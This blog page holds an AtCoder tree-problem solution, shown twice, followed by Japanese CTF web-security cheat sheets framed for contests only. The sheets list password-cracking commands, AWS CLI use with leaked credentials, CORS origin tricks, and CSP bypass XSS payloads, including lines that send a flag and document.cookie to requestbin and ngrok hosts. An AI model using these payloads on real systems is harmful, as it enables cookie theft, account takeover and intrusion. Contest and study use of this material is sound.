はまやんはまやんはまやん

hamayanhamayan's blog

Subtree K-th Max [デンソークリエイトプログラミングコンテスト2022(AtCoder Beginner Contest 239) E]

https://atcoder.jp/contests/abc239/tasks/abc239_e

前提知識

解説

https://atcoder.jp/contests/abc239/submissions/29488895

データ構造でゴリ押して解けそうな感じもするし、Kの値が小さいことを利用して、楽に解くこともできそうではある。
根付き木の部分木に対する操作ではオイラーツアーが有効な場面が多々ある。

部分木に対する操作を配列の特定区間に対する操作に変換する

オイラーツアーを使うと部分木を配列の特定区間マッピングすることができる。
初めて聞く場合は何を言っているのか分からないと思うが、かなり便利なので検索して学習してこよう。
オイラーツアー - Google 検索
(ちょっと、ここに書くには余白が少なすぎる…)

オイラーツアーを使って部分木からインデックスを作成して、頂点Vに対する部分木に対応する区間が[L,R)に対応すると
分かったとする。すると、今回の問題を以下のように読み替えることができる。

頂点Vに対する部分木に含まれる数のうちK番目に大きい数は?

配列の区間[L, R)に含まれる数のうちK番目に大きい数は?

これで木であるということは無視してよくなるので、だいぶ今までの知見を活かしやすくなった。

特定区間のK番目に大きい数は?

これはWaveletMatrixというデータ構造を使用すると高速に取得できる。
しかし、結構高度なデータ構造なので、今回は、Kが小さいことを利用してセグメントツリーで解くことにする。
セグメントツリーを使えば最も大きい数というのは取得が可能である。
今回の問題ではK≦20と小さいので、

最も大きい数を取得する
→ 一旦それを除外する(正確には除外というか-1で更新する)
→ 最も大きい数を取得する(2番目に大きい数が得られる)
→ 一旦それも除外する
→ 最も大きい数を取得する(3番目に大きい数が得られる)

みたいなことを繰り返してK番目に大きい数を取得することにする。
取得した後は、除外した項目をセグメントツリーに戻してやることで取得操作の過程で壊れてしまった
セグメントツリーを復元していく。
こうすると、全体的な計算量はO(NKlogN)となり、K≦20,N≦105で2secだとちょっと不安な気もするが、
操作も比較的単純で定数倍も小さそうということもあり、まあ通るかという感じ。

advancedな話

  • wavelet matrixをやればストレートに区間問題パートが解けるので勉強してみるのも面白い
  • 自分の解法では消してundoみたいなことをしているが深堀したい場合は「永続化セグメントツリー」のような永続データ構造を調べてみても面白い
int N, Q, X[101010];
vector<int> E[101010];
int V[101010], K[101010];

int L[101010], R[101010];
int idx = 0;
void euler(int cu, int pa = -1) { // [L[v],R[v])
    L[cu] = idx; idx++;
    for (int to : E[cu]) if (to != pa) euler(to, cu);
    R[cu] = idx;
}

SegTree<1<<17> st;
void _main() {
    cin >> N >> Q;
    rep(i, 0, N) cin >> X[i];
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        E[a].push_back(b);
        E[b].push_back(a);
    }
    rep(i, 0, Q) cin >> V[i] >> K[i], V[i]--;

    euler(0);

    rep(i, 0, N) st.update(L[i], { X[i], L[i] });
    
    rep(q, 0, Q) {
        int l = L[V[q]], r = R[V[q]];
        vector<pair<int, int>> buf;
        rep(k, 0, K[q] - 1) {
            auto p = st.get(l, r);
            buf.push_back(p);
            st.update(p.second, { -1, -1 });
        }

        auto p = st.get(l, r);
        printf("%d\n", p.first);
        fore(p, buf) st.update(p.second, p);
    }
}

Subtree K-th Max [デンソークリエイトプログラミングコンテスト2022(AtCoder Beginner Contest 239) E]

https://atcoder.jp/contests/abc239/tasks/abc239_e

前提知識

解説

https://atcoder.jp/contests/abc239/submissions/29488895

データ構造でゴリ押して解けそうな感じもするし、Kの値が小さいことを利用して、楽に解くこともできそうではある。
根付き木の部分木に対する操作ではオイラーツアーが有効な場面が多々ある。

部分木に対する操作を配列の特定区間に対する操作に変換する

オイラーツアーを使うと部分木を配列の特定区間マッピングすることができる。
初めて聞く場合は何を言っているのか分からないと思うが、かなり便利なので検索して学習してこよう。
オイラーツアー - Google 検索
(ちょっと、ここに書くには余白が少なすぎる…)

オイラーツアーを使って部分木からインデックスを作成して、頂点Vに対する部分木に対応する区間が[L,R)に対応すると
分かったとする。すると、今回の問題を以下のように読み替えることができる。

頂点Vに対する部分木に含まれる数のうちK番目に大きい数は?

配列の区間[L, R)に含まれる数のうちK番目に大きい数は?

これで木であるということは無視してよくなるので、だいぶ今までの知見を活かしやすくなった。

特定区間のK番目に大きい数は?

これはWaveletMatrixというデータ構造を使用すると高速に取得できる。
しかし、結構高度なデータ構造なので、今回は、Kが小さいことを利用してセグメントツリーで解くことにする。
セグメントツリーを使えば最も大きい数というのは取得が可能である。
今回の問題ではK≦20と小さいので、

最も大きい数を取得する
→ 一旦それを除外する(正確には除外というか-1で更新する)
→ 最も大きい数を取得する(2番目に大きい数が得られる)
→ 一旦それも除外する
→ 最も大きい数を取得する(3番目に大きい数が得られる)

みたいなことを繰り返してK番目に大きい数を取得することにする。
取得した後は、除外した項目をセグメントツリーに戻してやることで取得操作の過程で壊れてしまった
セグメントツリーを復元していく。
こうすると、全体的な計算量はO(NKlogN)となり、K≦20,N≦105で2secだとちょっと不安な気もするが、
操作も比較的単純で定数倍も小さそうということもあり、まあ通るかという感じ。

advancedな話

  • wavelet matrixをやればストレートに区間問題パートが解けるので勉強してみるのも面白い
  • 自分の解法では消してundoみたいなことをしているが深堀したい場合は「永続化セグメントツリー」のような永続データ構造を調べてみても面白い
int N, Q, X[101010];
vector<int> E[101010];
int V[101010], K[101010];

int L[101010], R[101010];
int idx = 0;
void euler(int cu, int pa = -1) { // [L[v],R[v])
    L[cu] = idx; idx++;
    for (int to : E[cu]) if (to != pa) euler(to, cu);
    R[cu] = idx;
}

SegTree<1<<17> st;
void _main() {
    cin >> N >> Q;
    rep(i, 0, N) cin >> X[i];
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        E[a].push_back(b);
        E[b].push_back(a);
    }
    rep(i, 0, Q) cin >> V[i] >> K[i], V[i]--;

    euler(0);

    rep(i, 0, N) st.update(L[i], { X[i], L[i] });
    
    rep(q, 0, Q) {
        int l = L[V[q]], r = R[V[q]];
        vector<pair<int, int>> buf;
        rep(k, 0, K[q] - 1) {
            auto p = st.get(l, r);
            buf.push_back(p);
            st.update(p.second, { -1, -1 });
        }

        auto p = st.get(l, r);
        printf("%d\n", p.first);
        fore(p, buf) st.update(p.second, p);
    }
}

CTFのWebセキュリティにおける細かな話題まとめ(Unicode, Reguler Expression, LDAP Injection, Dependency Confusion, DoS)

この記事はCTFのWebセキュリティ Advent Calendar 2021の25日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

脆弱性を利用する

  • 問題によっては脆弱性を突いた問題がある
    • 時事ネタが多い気がする。ゼロデイやワンデイという感じ
  • ソースコードが配布されていて、バージョンが固定されたライブラリを使っているなら怪しい

Dependency Confusion

DoS

  • セキュリティ的にも問題とされる。情報は抜かれないが、事業停止に追いやることができる。CTFではあまりテーマとして出題されない。
    • でも解法でDoSが思いついても、解法にかなり確信度が無い限りやらないことを勧める(もしかしたらサーバ壊すかも)
  • 何がDoSの原因となるか?
    • 再帰的な構造があるもの
    • 指数関数的に伸びる可能性があるもの
      • jsonのparseとか(深さが深いとバッファが食われる)
    • 受け付けるサイズの上限がない場合
    • 格安ホスティングにより、ほかの人がDoSを受けると影響を受ける
    • エラーを起こすような入力を与えることで、StoredXSSの要領でそのページを開くときに毎回エラーを発生させて、画面表示させないようにできる
  • 資料

Git系

SVGへの攻撃方法

ImageMagick

GraphicsMagick

SVG Writeups

Exif

LDAP

Reflected File Download

正規表現

ReDoS

Blind Regular Expression Injection Attack

聖典A Rough Idea of Blind Regular Expression Injection Attack – やっていく気持ち
聖典から聖典が生まれていた → Revisiting ReDoS: A Rough Idea of Data Exfiltration by ReDoS and Side-channel Techniques - Speaker Deck

  • これは何?
    • ReDoSによるレスポンス遅延をオラクルとしたサイドチャネル攻撃
    • 以下、想像(ちゃんと読んでない)
    • 正規表現にマッチしないと全探索をする必要があって、遅くなる
    • なので、「正規表現にマッチ→正解、マッチしない不正解」となるように正規表現を組み、応答時間を測ることで、情報を1文字ずつ抜き取る
  • 問題

Unicode

XPath Injection

CTFのWebセキュリティにおけるオープンリダイレクトまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の24日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

OpenRedirectを攻撃につなげるには

  • javascript:alert(1)
  • 単にフィッシングとして使えると指摘してもいい
  • OAuthとつなげることでAccount Takeoverが狙えるかも
    • OAuthのredirect_uriはホスト名のみで検証されている場合、Open Redirectを踏み台にしてトークンを抜き出せるかも
    • codeが抜ければ、攻撃者はアプリケーションに代わってFacebookアカウントにアクセスできるようになる(どうだろう)
  • SSRFでドメイン検証がある場合にbypassできるかも
  • CSRF対策としてリファラーチェックしてる場合は、bypassできるかも

CTFのWebセキュリティにおけるPassword Cracking, ハッシュ, 暗号化

この記事はCTFのWebセキュリティ Advent Calendar 2021の23日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

パスワードクラック

ハッシュ値の原文の特定・署名の秘密鍵の特定

ツール

pythonでゴリゴリ書いてもいいが、どうしても遅いのでクラッカーを積極的に使用しよう。

hashcat

  • パスワードクラッカー、早い。全探索でcrackするときは、pythonとか使わずにこっち使おう。
  • ./hashcat.exe -m 3200 hash.txt ../dic/rockyou.txt
    • 辞書攻撃するときこんな感じ
  • hashcatを使って変形辞書を作ることもできる
    1. ruleというファイル名で変形前の辞書を保存する
    2. hashcat.exe -r rules/best64.rule --stdout rule > dic.txtで変形辞書を作成
  • ハッシュ関数を変えたいときは-mで変える。
    • https://hashcat.net/wiki/doku.php?id=hashcat
    • ここに対応表が書いてあるので、md5(md5(pass))であれば-m 2600のように指定する。
    • 使用済み
      • 3200 bcrypt $2*$, Blowfish (Unix)
      • 100 SHA1
      • 1400 SHA2-256
      • 900 MD4
      • 0 MD5
      • 2600 md5(md5($pass))
      • 4400 md5(sha1($pass))
      • 1000 NTLM
      • 160 HMAC-SHA1 (key = $salt)
        • hash.txtにhash:saltとすればいい
      • 1800 sha512crypt $6$, SHA512 (Unix)
      • 16500 JWT (JSON Web Token)
        • hash.txtにJWTを直に置けばいい
  • hashcatでshadowファイルを解析する例
  • ハッシュについて
    • bcrypt - Wikipedia
      • $1$: MD5ベースの暗号('md5crypt')
      • $2$: Blowfishベースの暗号 ('bcrypt')
      • $sha1$: SHA-1ベースの暗号 ('sha1crypt')
      • $5$: SHA-256ベースの暗号 ('sha256crypt')
      • $6$: SHA-512ベースの暗号 ('sha512crypt')
  • エラーハンドリング
    • Initializing backend runtime for device #1...となっている場合は--forceで待てば動くようになるかも
      • これでハングしてる場合は動いてない
  • 原文がアラビア語の場合のクラック

John The Ripper

  • パスワードの総合的なクラックツール。john --wordlist /usr/share/wordlists/rockyou.txt [hashpath]
  • JWTの署名もクラック可能
  • Dockerで使うには
    • docker run -it -v d:\root\docker\jacktheripper:/root/ adamoss/john-the-ripper --wordlist /root/rockyou.txt /root/cracked.txt
  • パスワード解析終えたら別コマンドでしか結果取得できないので注意
    • $ john --show users.txt実行コマンドに--showを入れるだけ
  • フォーマット指定について
    • フォーマットを指定しなくても大丈夫だが、最初に大量にワーニングが出てこれじゃないみたいな提案をしてくれる。
    • 積極的に指定しないと駄目な場合も多い
    • フォーマット対応はjohnよりhashcatの方が多い
  • .htpasswdのパスワード解析 admin:$apr1$1U8G15kK$tr9xPqBn68moYoH4atbg20 渡すだけでOK
  • shadowのパスワード解析 $ john users.txt --wordlist=dic.txt
  • private keyで要求されるパスワードを総当りで解析するには
    1. ssh2johnを使って、ハッシュ値に変換する(id_rsaを持ってくる)
    2. John The Ripperで解析 john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    3. sshで使う $ ssh -i [prikey] [user]@[ip]

圧縮ファイルパスワードクラック

  • ctf-tools/John/run at master · truongkma/ctf-tools · GitHub
    • ここにたくさん*2john.pyがある
  • zip
    1. zip2john [zipfile] > ziphash.txtでハッシュを抜き出す
    2. john --wordlist=/usr/share/dirb/wordlists/rockyou.txt ziphash.txtみたいに解析
  • 7z
    1. 7z2john ./chicken.7z > chicken.hashでハッシュを抜き出す
    2. john chicken.hash --wordlist=/usr/share/dirb/wordlists/rockyou.txt --format=7z-openclみたいに解析
  • PGP鍵(private key)
    1. gpg2john [pgp key] > hash.txt
    2. john hash.txt --wordlist=/usr/share/dirb/wordlists/rockyou.txtみたいに解析
    3. gpg --import [gpg key (.asc)]
    4. gpg --decrypt [gpg file]
  • jwt (HS256)
    1. jwtをそのままhash.txtとして保存
    2. john hash.txt
  • johnは.john/john.potにクラックパスワードがキャッシュされている

Zip

既知平文攻撃

  • 暗号化zipの中に平文がわかっているファイルがあれば、効率的に解析ができる
    1. 平文がわかっているファイルを含めて、非暗号zipファイルを作る
    2. zipファイルの圧縮環境の違いでうまく行かない場合があるので、その場合は7za L -sltで確認可能
    3. pkcrackでクラックする pkcrack -C ./with_password.zip -c mod_logo.jpg -P /tmp/mod_logo.zip -p mod_logo.jpg -d ./dec.zip
    4. -C [暗号化されたzipファイル]
    5. -c [暗号化されたzipファイルの中で平文がわかるファイル]
    6. -P [平文のファイルが入っている暗号化されていないzip] ←これはMUSTじゃない
    7. -p [平文のファイル]
    8. -d [出力先(復号したzipファイルの名前)]
  • @Nperairさんのツイート
    • zipの標準の暗号化がゴミで、ファイルに12byteの既知の平文があれば既知平文攻撃で中身が読める
    • ファイルのフォーマットの都合上先頭12byteくらいはほぼ推測できてしまう
  • 7zipであらかじめ開いてサイズを確認して、既知平文として正しいものかどうかを確認する
  • DCTF-writeups/CompanyLeak.md at main · yulyachert/DCTF-writeups · GitHub
    • bkcrackというツールでもやれる

AES圧縮のzip

  • zipファイルの新しいフォーマットではAES暗号化とかが使える
    • unzipで解凍をneed PK compat.みたいに出てきたら、古い可能性がある
    • そういう場合は7za e [filepath]とすると行える
  • pythonならpyzipperを使えばいい
  • crack例

johnとhashcat

  • ctf/2021/dawg/forensics/photo_album at master · ryan-cd/ctf
    • 面白いやり方をしているzip2john encrypted.zip > pass_hash.txtとするとpkzip2という文字列を含むハッシュが得られたので、hashcatの 17200 | PKZIP (Compressed) | Archives 17220 | PKZIP (Compressed Multi-File) | Archives 17225 | PKZIP (Mixed Multi-File) | Archives 17230 | PKZIP (Mixed Multi-File Checksum-Only) | Archives 17210 | PKZIP (Uncompressed) | Archives 20500 | PKZIP Master Key | Archives 20510 | PKZIP Master Key (6 byte optimization) | Archives この一覧から17220を使って$ hashcat.exe -m 17220 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1 hash.txtで総当たりすると見つかる
    • 上と似ているが動かなかった。だが、下なら動いた
      • zip2john [file] | cut -d ':' -f 2 > hash.txtとしてhashcat -a 0 -m 13600 hash.txt --show

CTFのWebセキュリティにおけるCloud問題(AWS, GCP)

この記事はCTFのWebセキュリティ Advent Calendar 2021の22日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

AWS

AWSコマンドについて

  • aws — AWS CLI 1.20.11 Command Reference
  • 全般的に認証クレデンシャルが必要で、AWSアカウントが必要
  • もし認証情報が得られたら、aws configureを使って入れて、好きなようにできる
    • aws configure
    • AWS Access Key ID [None] :AWS_SECRET_ACCESS_KEYを入れる
    • AWS Secret Access Key [None] :AWS_ACCESS_KEY_IDを入れる
    • Default region name [None] : eu-west-1はそれっぽいのを試せるし、urlから漏れてる場合が多い。eu-west-1みたいなのを入れる
    • Default output format [None] :は空白で問題ない
  • aws s3
    • aws s3 ls s3://test-bucket
    • aws s3 cp test.txt s3://test-bucket コピーする
      • アップロード時に権限を指定してアップロードできたりする aws s3 cp [FILE] s3://[bucket_name] --acl public-read
    • aws s3 mv test.txt s3://test-bucket moveする
      • これでAccess Deniedとなってもaws s3 rm XXXでアップロードファイルを指定してみたらforbiddenで帰ってきたら実は上げれてるかも(ほんとか?)
    • aws s3 rm s3://test-bucket/test.txt 削除する
    • aws s3 cp s3://test-bucket/file.txt ./ awsから持ってくる
  • aws s3api
    • aws s3api list-buckets s3のリストが得られる
    • aws s3api get-bucket-tagging --bucket cleaningbucket-cf2be35 タグが見られる
    • grants aws s3api get-bucket-acl --bucket test-bucket
    • READ aws s3api get-object --bucket test-bucket --key read.txt read.txt
    • READ_ACP aws s3api get-object-acl --bucket test-bucket --key read-acp.txt
    • WRITE aws s3api put-object --bucket test-bucket --key write.txt --body write.txt
      • ダメ An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
      • OK "ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
  • aws lambda
    • aws lambda list-functions
    • aws lambda list-tags --resource arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51
  • aws ec2
    • aws ec2 describe-tags

Amazon S3

AWS系Chellenge/writeup

Google

Google document系からの情報流出

GCP

CTFのWebセキュリティにおけるクライアント側まとめ(CSP, CORS, Web Assembly, PostMessage)

この記事はCTFのWebセキュリティ Advent Calendar 2021の21日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

CORS

CORS Misconfiguration

攻撃サンプル

  • origin攻撃
    • *
    • *.target.com
    • target.com.evil.com
    • eviltarget.com
    • null
    • evil.com
  • Exploiting misconfigured wildcard (*) in CORS Headers
    • Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
    • どんなドメインでも受け入れてしまうので、XSSで読み込んむと内容が得られるので、この設定がなされていて応答に機微な情報が含まれていれば危険
  • Using XSS to make requests to cross-origin sites
    • XSSがあると情報が抜ける
    • <script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>こんな感じに抜いてくればいい
  • 攻撃
    • OriginがそのままACAOに反映される Origin: attacker.comでリクエストするとAccess-Control-Allow-Origin: attacker.comとなる
    • サブドメインでもOK Origin: attacker.com.evil.comAccess-Control-Allow-Origin: attacker.com.evil.comとか
    • wildcardになってる
    • null Origin: null
    • Verb変えてみる
  • Advanced CORS Technique
  • mitigation

CSP

  • CSPの種類について
    • script-src-elem <script>alert(1)</script><script src="/jquery.js">
    • script-src-attr <svg onload="alert(1)">
    • base-uri <base href="https://example.com/">
      • 'none''self'にしておけばbaseがインジェクションされてもとりあえず大丈夫。追加理由ほとんどないんだしnoneでいいんじゃないかな?
      • none以外だったら、base tag injectionを疑うこと
    • connect-src
    • img-src
  • 推奨設定?
    • script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
    • object-src 'none';
    • base-uri 'none';
  • 回避テク一覧
  • CSPが複数あれば、最も制約の厳しいものが採用される
  • CSP Evaluator
    • このサイトに通して弱点を探るのもいい
  • CSP: Content Security Policy
    • 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
    • サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
    • content-security-policy:を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
  • script-src
    • script-src 'self' data:;
      • script-srcのdataスキームが許可されている
      • <script src="data:text/javascript,ここに任意コード">
      • <script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
    • script-src 'self' ajax.googleapis.com 'unsafe-eval';
      • ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
      • Angular.js
        • 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
        • XSS in the AWS Console
          • <input ng-focus=$event.view.alert('XSS')>
    • script-src 'self' *.google.com *.gstatic.com;
      • <script src="https://accounts.google.com/o/oauth2/revoke?callback=[jscode]
      • payload: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></script>
    • script-src: strict-dynamic
    • "script-src":"'self' 'unsafe-inline'"
      • インライン JavaScript および CSS を許可します
      • 普通に<script>sendMyDataToEvilDotCom();</script>が許可される
    • script-src 'none'
      • scriptタグは全く使えない
    • style-src 'self' http://cdn.embedly.com/;
    • script-src 'nonce-*'
      • CTFtime.org / ångstromCTF 2021 / nomnomnom html This score was set by ${name} <script nonce='${nonce}'>
        • firefoxに限り、上記の様にscriptタグの直前に入力値を入れられる場合にnonceを取り込んだscriptタグを生成できる
          • <script src="data:, location.replace('http://[redacted: 12 chars].ngrok.io/?d=' + document.cookie);"
          • <script src="https://textbin.net/raw/o4tst0cpr6" dummy=\
          • 上記のような不完全なscriptタグを用意することでnonceを取り込める
    • script-src 'self'
  • default-src 'self'
    • サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合に設定する。自分のドメインからのjsしか受け付けない。
    • こういう場合は、jsファイルとかsvgファイルとかをアップロードして、それを指定することで実行させる
    • 指定のないもののデフォルト値として動く。
  • Content Security Policy Level 3におけるXSS対策 - pixiv inside
  • 信頼されたほかのjsコードを経由することでバイパス実行する方法がある
  • 突破できなかったやつ
    • content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'
  • strict-dynamic
    • すでに実行を許可されたJavaScriptコードから読み込まれたJavaScriptコードを実行可能にする
    • JSONPを実行するために追加しているかもしれない
  • 回避例
  • CSP Policy Injection
    • 入力がCSPのポリシーに組み込まれる場合に、設定されていないCSP Policyを追加で設定できる
    • 同じポリシーを設定した場合は、Chromeであればエラーとなる
    • ; script-src-attr 'unsafe-inline'という感じにインジェクションする
  • CSP Embedded Enforcement
  • CSPの影響を受けないもの(ほんとか?)
    • <meta http-equiv="refresh" content="0; URL={{遷移先}}> metaタグによる遷移
    • <link rel="preload" href="https://webhook.site/…" as="fetch">による読み込み

WebAssembly

ブラウザからWebAssemblyをデバッグする方法

C言語に直すには

解析例

CTFtime.org / UIUCTF 2020 / nookstop 2.0 / Writeup CTFtime.org / UTCTF 2021 / It's wasm time - UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶい - Chrome Developer Toolで動的解析できるみたい - WebAssemblyちょっとやる - バランスを取りたい

PostMessage